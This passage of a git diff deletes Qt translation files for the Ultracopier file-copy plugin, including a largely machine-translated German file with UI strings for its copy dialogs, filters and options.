- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/de/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/de/translation.ts
deleted file mode 100644
index 08c7422..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/de/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0" language="de" sourcelanguage="en">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation>Auf dieser Plattform nicht unterstützt</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation>Datum der letzten Änderung ist falsch</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation>Datum des letzten Zugriffs ist falsch</translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation>Optionen Fehler</translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Optionen Motor nicht geladen wird, kann nicht auf die Filter zu übersetzen</translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation>Suche:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation>Suche Typ:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation>Roh text</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation>Vereinfachte regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation>Anwenden auf:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation>Datei</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation>Ordner</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation>Datei-und Ordnernamen</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation>Alle Saite muss passen</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation>Überprüfung</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation>Test-String:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation>Filters dialog</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation>Die Regex ist gültig</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation>Der Test-String Match mit dem regex</translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation>Filter</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation>Ausschluss-Filter</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation>Einbeziehungsfilter</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation>None = Schließt alle</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation>Roh text</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation>Vereinfachte regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation>Nur auf Datei</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation>Nur auf Ordner</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation>Spielaufzeichnung</translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation>Kann nicht tun, verschieben oder kopieren Artikel in den falschen gezwungen Modus: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation>Unfähig, die Transferliste sparen: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation>Problem an der Lektüre, der Oder Dateigröße IST Null</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation>Falsche Header: &quot;%1&quot;</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation>Die Transferliste ist im gemischten Modus, aber diese Instanz ist in diesem Modus nicht</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation>Die Transferliste ist im Copy-Mode, aber dieser Fall ist in diesem Modus nicht</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation>Die Transferliste ist in Verschiebe-Modus, aber diese Instanz ist in diesem Modus nicht</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation>Einige Fehler wurden während des Parsing gefunden</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation>Unfähig, die Transferliste geöffnet: %1</translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation>Der Ordner kann nicht erstellt</translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation>Unfähig, die Quelldatei zu lesen: </translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Datei während der Lese, möglich Datenänderung abgeschnitten</translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation>erste Umbenennung</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation>%name% - kopieren</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variablen: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; für den ursprünglichen Dateinamen&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation>zweite Umbenennung</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>%name% - kopieren (%number%)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variablen: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; für den ursprünglichen Dateinamen&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; für die zusätzliche Zahl&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation>%1 - kopieren</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - kopieren (%2)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation>Umbenennen von Regeln</translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation>Der Ordner kann nicht entfernen</translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation>%1 - kopieren</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - kopieren (%2)</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation>Die Prüfsummen nicht überein</translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation>Unfähig, die Quelldatei zu lesen: </translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Datei während der Lese, möglich Datenänderung abgeschnitten</translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation>Der Motor wird gezwungen sich zu bewegen, können Sie mit ihr nicht zu kopieren</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation>Der Motor ist gezwungen, zu kopieren, können Sie nicht mit ihm bewegen</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation>Der Modus wurden vorher gezwungen, es interner Fehler ist, melden Sie dies bitte</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation>Optionen Fehler</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Optionen Motor nicht geladen wird, kann nicht auf die Filter zu übersetzen</translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation>Fehler bei der Datei</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation>Fehler</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation>Größe</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation>Geändert</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation>Dateiname</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation>Immer diese Aktion</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation>Legen Sie nach unten</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation>Wiederholen</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation>überspringen</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation>Stornieren</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation>Fehler auf Ordner</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation>Ordnername</translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation>Die Datei existiert</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
